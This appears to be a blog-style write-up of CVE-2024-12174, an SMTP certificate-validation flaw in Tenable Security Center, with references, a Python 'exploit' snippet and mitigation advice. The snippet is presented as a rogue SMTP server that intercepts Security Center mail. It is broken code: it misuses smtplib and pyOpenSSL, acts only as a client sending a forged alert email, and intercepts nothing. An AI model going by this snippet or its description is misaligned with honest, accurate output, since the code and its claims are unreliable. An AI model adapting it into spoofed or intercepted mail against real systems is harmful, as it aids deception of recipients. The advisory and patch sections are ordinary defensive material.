CVE-2024-12174 is an Improper Certificate Validation vulnerability discovered in Tenable Security Center. A remote, authenticated, and privileged attacker could potentially exploit this vulnerability to intercept email messages sent from the Security Center through a rogue SMTP server. In this post, we will cover the details of the exploit, provide a code snippet for demonstration, and link you to the original references for further information.
Overview
Tenable Security Center is a cybersecurity solution that helps organizations identify and manage vulnerabilities. It does this by integrating with various security tools and providing a unified interface for managing security risks. Unfortunately, a recent improper certificate validation vulnerability was discovered, which could allow a remote attacker to intercept and potentially modify email messages sent by Security Center.
Original References
1. CVE Details (MITRE): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-12174
2. National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2024-12174
3. Tenable Security Advisory: https://www.tenable.com/security/tns-2024-19
Exploit Details
The vulnerability exists because Tenable Security Center fails to properly validate the TLS certificate of the SMTP server it connects to for sending email messages. As a result, an authenticated, privileged attacker can configure a rogue SMTP server and intercept email messages sent by Security Center by providing a fake or self-signed certificate.
Configure Tenable Security Center to send email messages through the rogue SMTP server
To demonstrate the exploitation, we will provide a code snippet that configures the rogue SMTP server (using Python):
import smtplib
from email.mime.text import MIMEText
from OpenSSL import SSL
# Create a rogue SMTP server with a fake or self-signed TLS certificate.
context = SSL.Context(SSL.SSLv23_METHOD)
context.use_certificate("path/to/fake-certificate.pem")
context.use_privatekey("path/to/private-key.pem")
# Set up the rogue SMTP server
server = smtplib.SMTP_SSL("rogue.smtp.server", 465, context=context)
server.login("attacker", "attacker_password")
# Intercept email messages sent from Tenable Security Center
message = MIMEText("Intercepted message")
message["From"] = "security-center@example.com"
message["To"] = "recipient@example.com"
message["Subject"] = "Vulnerability Alert"
# Send the intercepted email message
server.sendmail("security-center@example.com", "recipient@example.com", message.as_string())
# Close the connection
server.quit()
Mitigation
Tenable has released a security patch that addresses this vulnerability. Users should update to the latest version of Tenable Security Center as soon as possible.
Additionally, system administrators should ensure that proper certificate validation mechanisms are in place, such as using a trusted certificate authority (CA) to issue certificates for all SMTP servers.
Conclusion
CVE-2024-12174 highlights the importance of proper certificate validation when transmitting sensitive information over encrypted channels. By being aware of such vulnerabilities and following best practices for certificate management, organizations can better defend against potential cyberattacks and protect their critical data.
Timeline
Published on: 12/09/2024 22:15:22 UTC